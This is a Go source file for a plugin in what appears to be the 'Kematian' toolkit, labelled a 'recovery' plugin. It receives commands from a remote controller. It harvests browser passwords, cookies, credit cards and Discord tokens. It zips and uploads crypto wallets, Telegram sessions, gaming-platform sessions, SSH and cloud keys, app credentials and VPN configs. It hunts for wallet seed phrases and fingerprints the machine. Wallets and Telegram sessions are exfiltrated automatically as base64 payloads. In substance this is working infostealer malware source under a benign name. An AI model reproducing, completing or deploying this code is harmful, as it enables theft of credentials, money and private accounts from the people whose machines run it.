Files
Kematian-Standalone/native/main.go
T
2026-08-27 11:21:43 -06:00

589 lines
16 KiB
Go

package main
import (
"context"
"encoding/base64"
"encoding/json"
"log"
"path/filepath"
"recovery/recovery"
"sync"
"sync/atomic"
"time"
)
// collectDeadline bounds an entire collection run. A single stuck browser
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
const collectDeadline = 90 * time.Second
type HostInfo struct {
ClientID string `json:"clientId"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
}
var (
hostInfo HostInfo
sendFn func(event string, payload []byte)
mu sync.Mutex
collecting atomic.Bool
)
func setSend(fn func(event string, payload []byte)) {
mu.Lock()
sendFn = fn
mu.Unlock()
}
func sendEvent(event string, payload interface{}) {
mu.Lock()
fn := sendFn
mu.Unlock()
if fn == nil {
return
}
data, err := json.Marshal(payload)
if err != nil {
log.Printf("[recovery] marshal error: %v", err)
return
}
fn(event, data)
}
func handleInit(hostJSON []byte) error {
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
return err
}
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
return nil
}
func handleEvent(event string, payload []byte) error {
switch event {
case "collect":
go handleCollect(payload)
case "scan_files":
go handleScanFiles()
case "scan_extensions":
go handleScanExtensions()
case "fetch_file":
go handleFetchFile(payload)
case "fetch_ext_zip":
go handleFetchExtZip(payload)
case "scan_wallets":
go handleScanWallets()
case "fetch_wallet_zip":
go handleFetchWalletZip(payload)
case "scan_telegram":
go handleScanTelegram()
case "fetch_telegram_zip":
go handleFetchTelegramZip(payload)
case "scan_keys":
go handleScanKeys()
case "scan_apps":
go handleScanApps()
case "scan_gaming":
go handleScanGaming()
case "scan_vpn":
go handleScanVPN()
case "fingerprint":
go handleFingerprint()
case "fingerprint_js":
go handleFingerprintJS()
case "ping":
sendEvent("pong", nil)
default:
log.Printf("[recovery] unhandled event: %s", event)
}
return nil
}
func handleCollect(payload []byte) {
if !collecting.CompareAndSwap(false, true) {
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
return
}
defer collecting.Store(false)
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] collection panic: %v", r)
sendEvent("error", map[string]string{"error": "internal collection error"})
}
}()
var opts recovery.CollectOptions
if len(payload) > 0 {
json.Unmarshal(payload, &opts)
} else {
opts.Browsers = true
}
if opts.Browsers {
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
if noneSet {
opts.Passwords = true
opts.Cookies = true
opts.Autofill = true
opts.History = true
opts.Bookmarks = true
opts.CreditCards = true
opts.Discord = true
opts.Files = true
opts.Wallets = true
opts.Telegram = true
opts.Keys = true
opts.Apps = true
opts.Gaming = true
opts.VPNs = true
}
}
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
var extensions []recovery.ExtensionResult
var extWg sync.WaitGroup
if opts.Browsers {
extWg.Add(1)
go func() {
defer extWg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
}
}()
extensions = recovery.ScanExtensions()
}()
}
partialFn := func(partial *recovery.CollectionResult) {
sendEvent("partial", partial)
}
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
defer cancel()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("[recovery] collection failed: %v", err)
sendEvent("error", map[string]string{"error": err.Error()})
return
}
if opts.Browsers {
extWg.Wait()
result.Extensions = extensions
}
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
len(result.Passwords), len(result.Cookies), len(result.Autofill),
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
sendEvent("results", result)
if len(result.Wallets) > 0 {
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet auto-download panic: %v", r)
}
}()
autoDownloadWallets(result.Wallets)
}()
}
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] seed scan panic: %v", r)
}
}()
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
sendEvent("seed_scan_results", map[string]interface{}{
"seeds": seeds,
})
}
}()
}
func handleScanExtensions() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
sendEvent("error", map[string]string{"error": "extension scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
exts := recovery.ScanExtensions()
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
sendEvent("extension_scan_results", map[string]interface{}{
"extensions": exts,
})
}
func handleFetchExtZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
ExtID string `json:"extId"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
sendEvent("fetch_ext_zip_result", map[string]interface{}{
"path": req.Path,
"extId": req.ExtID,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
func handleScanWallets() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet scan panic: %v", r)
sendEvent("error", map[string]string{"error": "wallet scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
wallets := recovery.ScanWallets()
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
sendEvent("wallet_scan_results", map[string]interface{}{
"wallets": wallets,
})
autoDownloadWallets(wallets)
}
func autoDownloadWallets(wallets []recovery.WalletResult) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
sendEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchWalletZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Name string `json:"name"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
"path": req.Path,
"name": req.Name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanFiles() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] file scan panic: %v", r)
sendEvent("error", map[string]string{"error": "file scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning files..."})
files := recovery.ScanFiles()
log.Printf("[recovery] file scan complete: %d files", len(files))
sendEvent("file_scan_results", map[string]interface{}{
"files": files,
"truncated": len(files) >= 500,
})
}
func handleFetchFile(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_file panic: %v", r)
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.FetchFile(req.Path)
if err != nil {
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
sendEvent("fetch_file_result", map[string]interface{}{
"path": req.Path,
"name": filepath.Base(req.Path),
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanTelegram() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] telegram scan panic: %v", r)
sendEvent("error", map[string]string{"error": "telegram scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
sessions := recovery.ScanTelegram()
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
sendEvent("telegram_scan_results", map[string]interface{}{
"sessions": sessions,
})
for _, s := range sessions {
if s.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
continue
}
data, err := recovery.ZipTelegram(s.Path)
if err != nil {
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
continue
}
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": s.Account,
"path": s.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchTelegramZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Account string `json:"account"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipTelegram(req.Path)
if err != nil {
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": req.Account,
"path": req.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanKeys() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] key scan panic: %v", r)
sendEvent("error", map[string]string{"error": "key scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
keys := recovery.ScanKeys()
log.Printf("[recovery] key scan complete: %d keys", len(keys))
sendEvent("key_scan_results", map[string]interface{}{
"keys": keys,
})
}
func handleScanApps() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] app scan panic: %v", r)
sendEvent("error", map[string]string{"error": "app credential scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
apps := recovery.ScanApps()
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
sendEvent("app_scan_results", map[string]interface{}{
"appCredentials": apps,
})
}
func handleScanGaming() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] gaming scan panic: %v", r)
sendEvent("error", map[string]string{"error": "gaming scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
gaming := recovery.ScanGaming()
sendEvent("gaming_scan_results", map[string]interface{}{
"gaming": gaming,
})
if gaming == nil {
return
}
autoDownloadGaming(gaming)
}
func autoDownloadGaming(gaming *recovery.GamingResult) {
type zipJob struct {
name string
fn func() ([]byte, error)
}
var jobs []zipJob
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
steamPath := gaming.Steam.SteamPath
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
}
if len(gaming.BattleNet) > 0 {
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
}
if len(gaming.Epic) > 0 {
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
}
if len(gaming.Riot) > 0 {
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
}
if len(gaming.Uplay) > 0 {
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
}
for _, j := range jobs {
data, err := j.fn()
if err != nil || len(data) == 0 {
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
continue
}
if len(data) > maxAutoDownloadSize {
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
continue
}
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
sendEvent("gaming_data", map[string]interface{}{
"platform": j.name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleScanVPN() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] vpn scan panic: %v", r)
sendEvent("error", map[string]string{"error": "vpn scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
vpns := recovery.ScanVPNs()
sendEvent("vpn_scan_results", map[string]interface{}{
"vpns": vpns,
})
}
func handleUnload() {
log.Printf("[recovery] unloading")
}
func handleFingerprint() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint panic: %v", r)
sendEvent("error", map[string]string{"error": "fingerprint error"})
}
}()
sendEvent("fingerprint_result", recovery.CollectFingerprint())
log.Printf("[recovery] fingerprint collected")
}
func handleFingerprintJS() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint_js panic: %v", r)
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
}
}()
result := recovery.CollectJSFingerprint()
if result == nil {
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
return
}
sendEvent("fingerprint_js_result", result)
log.Printf("[recovery] JS fingerprint collected")
}
func main() {}